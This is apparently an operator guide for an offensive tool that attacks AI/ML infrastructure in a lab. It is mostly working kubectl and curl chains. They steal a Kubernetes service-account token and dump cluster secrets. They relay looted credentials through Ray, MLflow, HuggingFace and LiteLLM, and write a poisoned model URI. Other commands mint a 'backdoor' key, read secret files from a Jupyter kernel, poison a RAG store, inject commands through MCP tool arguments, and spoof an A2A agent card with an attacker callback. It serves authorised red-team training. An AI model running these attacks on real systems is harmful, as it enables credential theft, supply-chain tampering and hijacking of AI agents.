Manual Post-Exploitation¶
aipostex lands the foothold — a stolen service-account token, a uid=0 pod, a looted
gateway credential — and hands it to you raw and un-redacted. This guide is what you do
next, by hand, with native tooling (kubectl, curl, python). It's the layer that
turns "the tool confirmed access" into "I own it."
Every section follows the same shape: what the tool landed → the native continuation → what you find → a reset note.
Read-only by default
The un-commented commands here are read-only — safe to run live against the estate as
many times as you like. Anything that changes cluster/registry state is called out with a
DESTRUCTIVE admonition; those dirty the lab and must be cleaned with one
bash lab-scripts/reset-wave.sh before the next demo take.
The tool can hand you the session
Your engagement dossier (~/engagements/<name>, from aipostex sessions start) already
includes a manual/ folder: a ready-to-use kubeconfig built from a stolen SA token, an
env.sh of exports, and pivots.sh with the raw kubectl/curl one-liners below.
source ~/engagements/<name>/manual/env.sh and you have $SA_TOKEN, $HF_TOKEN, … in your
shell. The commands in this guide are the same ones, spelled out so you understand why each
works. (From a saved findings file directly: aipostex report view <findings> --dossier-dir <dir>.)
Or drive it by hand inside the tool — the operator console
Most of the raw curl below has a first-class equivalent in aipostex itself. The
operator console lets you keep operating a service by hand without leaving the tool, authed
or unauthenticated, mining every response for loot:
aipostex <module> request METHOD PATH— one-shot HTTP call (thecurlhops in §2/§5).aipostex <module> shell— an interactive REPL: chat a looted model (ollama/openai-compat/litellm/huggingface), run a Jupyter kernel Python REPL (§3), call MCP tools (§4), or drive an A2A agent (§6). The execution shells take--force-exploit.
It's manual — you run every request; there is no auto-chaining. Kubernetes keeps its
kubectl handoff (§1) — it has no in-tool shell. Full flag reference: the tool's request /
shell CLI docs (docs/cli/).
Reuse over reinvention: where the tool already runs a robust callback/session (the a2a OOB listener, the Ray beacon, the post-ex oracle), this guide points you at it rather than hand-rolling a listener.
1. Kubernetes — from a stolen token to the whole cluster¶
What the tool landed. aipostex k8s … secret-read / sa-loot / pod-exec against the estate
node https://172.16.50.50:6443 (anon-open): the ml-prod/model-registry-creds secret, a
uid=0 pod shell, and — the prize — the pipeline-runner service-account token, which is bound
cluster-wide to create/update/delete on secrets, pods, and deployments
(lab-scripts/k8s-node/manifests/vuln/30-escalation.yaml).
Native continuation. Capture the raw token from the tool run, then become that identity in
plain kubectl:
# Grab the stolen SA token straight out of the sa-loot finding (un-redacted by design)
TOKEN=$(aipostex k8s --target https://172.16.50.50:6443 --insecure \
sa-loot --namespace ml-prod --force-exploit --format jsonl \
| jq -r 'select(.metadata.extracted_credentials).metadata.extracted_credentials[0].value')
K8S=https://172.16.50.50:6443
KC="--server=$K8S --insecure-skip-tls-verify --token=$TOKEN"
# What can this identity actually do? → create/delete secrets,pods,deployments cluster-wide
kubectl $KC auth can-i --list
# Read every secret in the cluster, not just ml-prod
kubectl $KC get secrets -A
# The cross-namespace pivot: a *second* team's CI deploy key, reachable with this one token
kubectl $KC -n ml-system get secret pipeline-deploy-key -o jsonpath='{.data.DEPLOY_TOKEN}' | base64 -d
# → glpat-FAKEmlPipelineDeployKey000111222
What you find. The can-i --list rows show create,delete on secrets/pods/deployments
across the cluster — you're not a reader, you're a writer. The ml-system/pipeline-deploy-key
secret is a different namespace's GitLab deploy token: one exec-stolen pod token reaches the
control-plane team's CI credentials. That's the supply-chain blast radius.
DESTRUCTIVE — persistence
With cluster-wide create, the stolen writer SA can drop a rogue workload. This dirties
the cluster — run reset-wave.sh afterward (the k8s pair re-applies its seed manifests on
reboot, so the rollback is clean).
Honesty control
The same probe against the secure cluster on :6444 returns 401 — anonymous read is
off, no token is stealable. aipostex k8s --target https://172.16.50.50:6444 --insecure
rbac-probe reports not weak, which is exactly what it should.
2. The credential chain — raw curl, hop by hop¶
What the tool landed. aipostex ray jobs / mlflow / huggingface walk the guided chain.
Every hop's credential is real (lab-scripts/lib/chain-config.sh) and works against a plain
curl — the tool just automates the parsing.
# Hop 1 — Ray dashboard (unauthenticated): a job's runtime_env leaks the MLflow Basic cred
curl -s http://172.16.50.20:8265/api/jobs/ \
| jq -r '.[].runtime_env.env_vars | select(.MLFLOW_TRACKING_PASSWORD) | "\(.MLFLOW_TRACKING_USERNAME):\(.MLFLOW_TRACKING_PASSWORD)"'
# → ray-pipeline:MlflowRayChain!2026
# Hop 2 — MLflow gateway with the recovered Basic creds: find the experiment, pull the HF token
MLF=http://172.16.50.30:5000
EXP=$(curl -s -u ray-pipeline:'MlflowRayChain!2026' -H 'Content-Type: application/json' \
$MLF/api/2.0/mlflow/experiments/search -d '{"max_results":100}' \
| jq -r '.experiments[] | select(.name=="customer-embedding-model").experiment_id')
curl -s -u ray-pipeline:'MlflowRayChain!2026' -H 'Content-Type: application/json' \
$MLF/api/2.0/mlflow/runs/search -d "{\"experiment_ids\":[\"$EXP\"]}" \
| jq -r '.runs[].data.params[] | select(.key|test("token|hf")) | "\(.key)=\(.value)"'
# → hf_tgi_token=hf_FAKE_aBcDeFgHiJkLmNoPqRsTuVwXyZ123
# Hop 3 — HF TGI gateway: replay the looted token for REAL model inference
curl -s http://172.16.50.40:8180/generate \
-H "Authorization: Bearer hf_FAKE_aBcDeFgHiJkLmNoPqRsTuVwXyZ123" \
-H 'Content-Type: application/json' \
-d '{"inputs":"incident response playbook:","parameters":{"max_new_tokens":24}}'
# Side hop — LiteLLM proxy master key → multi-provider inference (note :4000 open, :4001 authed control)
curl -s http://172.16.50.20:4000/v1/models -H "Authorization: Bearer sk-litellm-lab-auth-key-FAKE123" | jq '.data[].id'
What you find. Each hop hands you the credential for the next: one open Ray dashboard →
MLflow → a real HuggingFace token → real generated text from a model-serving backend. No tool in
the loop — just the creds it recovered and curl.
DESTRUCTIVE — model tamper / backdoor key
Writing an MLflow run parameter (supply-chain tamper) or minting a LiteLLM backdoor key
changes state → reset-wave.sh after.
curl -s -u ray-pipeline:'MlflowRayChain!2026' http://172.16.50.30:5000/api/2.0/mlflow/runs/log-parameter \
-H 'Content-Type: application/json' -d '{"run_id":"<id>","key":"model_uri","value":"s3://attacker/poisoned"}'
curl -s http://172.16.50.20:4000/key/generate -H "Authorization: Bearer sk-litellm-lab-auth-key-FAKE123" \
-H 'Content-Type: application/json' -d '{"key_alias":"backdoor"}'
3. Jupyter — a kernel is a shell¶
What the tool landed. aipostex jupyter … start-kernel / exec on 172.16.50.10:8888: a live
Python3 kernel running as devuser. Code execution in a kernel is code execution on the box.
# List sessions / kernels with the looted token
curl -s -H "Authorization: token <jupyter-token>" http://172.16.50.10:8888/api/sessions | jq
# From inside a kernel (aipostex jupyter exec), read the local admin token + pivot to
# localhost-only services the network can't reach directly:
# open('/home/devuser/.secrets/internal-admin.token').read()
# requests.get('http://127.0.0.1:9999/admin', headers={'Authorization': open('/home/devuser/.secrets/internal-admin.token').read().strip()})
What you find. Files under /home/devuser/.secrets/ and localhost-bound admin panels that
are invisible from the estate subnet — the kernel is your pivot. See the walkthrough's Act 10 for
the full lateral-movement beat.
4. MCP — tool-call injection is RCE¶
What the tool landed. aipostex mcp … poison --mode cmd-inject on 172.16.50.10:3000: a
shell metacharacter in a tool argument returns uid=1001(devuser) — a real command execution
path through the MCP server's tool handler.
The tool's mcp verbs already drive the JSON-RPC handshake, tool discovery, and the injection
payload correctly; the manual equivalent is a hand-crafted tools/call over the same transport.
Prefer aipostex mcp … poison here — it handles the SSE/JSON-RPC framing so you don't have to.
DESTRUCTIVE if the payload writes
--command id is read-only; a payload that writes files or opens a reverse shell dirties the
box → reset-wave.sh.
5. Vector databases — read the store, poison the answer¶
What the tool landed. aipostex vectordb … search-sensitive on ChromaDB (172.16.50.20:8000),
Weaviate (172.16.50.30:8080), Qdrant (172.16.50.30:6333): PII, card data, and salary rows
sitting in embeddings.
# ChromaDB — list collections, then read documents by hand (READ-ONLY)
curl -s http://172.16.50.20:8000/api/v1/collections | jq
curl -s http://172.16.50.20:8000/api/v1/collections/<id>/get -H 'Content-Type: application/json' -d '{}' | jq
DESTRUCTIVE — RAG poisoning
Injecting a document that surfaces in an LLM's context is a real integrity attack (aipostex
vectordb … inject / rag-verify proves the round-trip). It mutates the store → reset-wave.sh.
6. Agents (a2a) — reuse the OOB listener, don't hand-roll one¶
What the tool landed. aipostex a2a … card-spoof on 172.16.50.40:8103: the agent fetches an
attacker-controlled card and a nonce-correlated out-of-band callback confirms the fetch —
upgrading the finding from influenced to takeover-capable.
This is the case where you reuse the tool's session handling rather than standing up your own
listener: aipostex already runs the OOB callback server, embeds the nonce, and correlates the
hit. The callback lands on the attack box (--callback-url http://172.16.50.99:18943).
# Reuse the built-in listener + nonce correlation:
aipostex a2a --target http://172.16.50.40:8103 card-spoof \
--callback-url http://172.16.50.99:18943 --force-exploit
A raw manual card-spoof (POST a spoofed card, run your own listener) is possible, but you'd be re-implementing exactly what the tool already does robustly — so don't, unless you're testing the listener itself.
Cleaning up¶
Any DESTRUCTIVE step above dirties the estate. One command restores every VM (including the k8s node, whose Docker k3s pair re-applies its seed manifests on reboot):